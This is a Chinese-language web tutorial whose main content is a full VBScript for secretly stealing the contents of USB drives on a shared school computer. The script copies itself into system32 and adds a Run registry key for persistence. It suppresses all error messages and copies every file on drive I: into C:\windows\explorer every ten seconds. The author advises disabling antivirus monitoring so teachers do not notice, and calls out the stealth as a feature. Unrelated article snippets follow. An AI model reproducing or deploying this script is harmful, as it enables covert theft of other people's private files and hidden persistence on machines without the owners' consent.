时间:2021-05-22
脚本应该具备以下功能:
1.开机自启动;
2.定时复制U盘所有文件及文件夹到指定位置;
3.无任何错误提示(很关键,如果不想找死的话)。
思路很简单,接下来就是脚本的具体内容了,我在每行脚本后都加了注释,但愿比我还菜的人也能看懂
复制代码 代码如下:
OnErrorResumeNext‘忽略异常,否则可能会有错误提示框
Setfso=CreateObject("Scripting.FileSystemObject")‘创建fso
dimn
Setn=CreateObject("Wscript.Shell")‘声明变量n
Setdir=fso.GetSpecialFolder(1)‘读取system32文件夹路径
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")‘读取自身文件名,并复制自己到system32文件夹,重命名为copy.vbs
dimr
Setr=CreateObject("Wscript.Shell")‘声明变量r,用于读写注册表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ"‘为脚本添加启动项
fso.CreateFolder("c:\windows\explorer")‘创建文件夹,用来存放U盘文件
fori=1to2
i=1‘看出来了么,这是个死循环,变量i不可能到2,所以可以不断检查U盘并复制内容
fso.CopyFile"i:\*","c:\windows\explorer\",True‘复制I盘(U盘盘符)所有文件到指定文件夹
fso.CopyFolder"i:\*","c:\windows\explorer\",True‘复制I盘所有文件夹到指定文件夹
wscript.sleep10000‘挂起10秒,此属性单位为毫秒
next
把上述内容存为kubau0.vbs,才几百字节。
提示一点,因为脚本内容有对注册表和文件的操作,所以执行时要把杀毒软件的网页或脚本之类的监控关掉,否则会不客气的弹出个对话框问你是否执行,如果引起老师怀疑的话……那你就节哀吧。
现在,只要在目标机上执行一次脚本(什么?没反应?当然不会有了!看看进程列表,如果有一个wscript.exe就说明已经执行成功了),脚本执行会停留在死循环里,每隔10秒复制一次文件到C:\windows\explorer\文件夹(间隔时间和目标文件夹均可自行设置),重启后会自动执行,且不会有任何异常提示,毕竟安全才是最重要的嘛!这也是VBS的特点,一切悄无声息。
不过脚本也不是没有缺点,那就是在复制文件的时候U盘灯会狂闪不止,且机器运行速度会明显变慢,且无法通过安全删除硬件来停止U盘,不过好在老师们多是才鸟(才鸟?什么东西?有才的菜鸟?),但是如果哪位高手能帮我解决,还请不吝赐教!
另外,别以为复制完就万事大吉了,最好定期删除没用的文件,否则目标文件夹会急剧膨胀,比如我们班,一星期下来就超了1G,很恐怖!
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
搞个U盘做个电脑锁吧!启动电脑前将做了锁的U盘插上就能启动机子,没U盘谁都打不开!就是利用WINDOWS自带得开机脚本,只要写一个脚本,让WINDOWS判断U盘
复制代码代码如下:'执行方法:直接双击vbs文件或者通过cmd.exe下cscript.exe"指定脚本的路径"'利用Vbs脚本实现显示系统服务里表'Creat
复制代码代码如下:'说明:通过VBS脚本查看系统C盘剩下的空间'Creator:Eric1991'Date:2013-11-4SetobjWMIService=
U盘作为现在流行的移动存储设备其安全很重要,今天教大家利用NTFS文件权限打造安全u盘。利用NTFS文件管理权限来打造安全U盘操作步骤如下:1、首先将我们的U盘
USBOOT等具有U盘出厂设置恢复的软件进入U盘重置操作。 方法三:当把U盘连接到电脑上时,发现电脑无法识别U盘,或者根本就找不到U盘。对此除了利用硬件替换代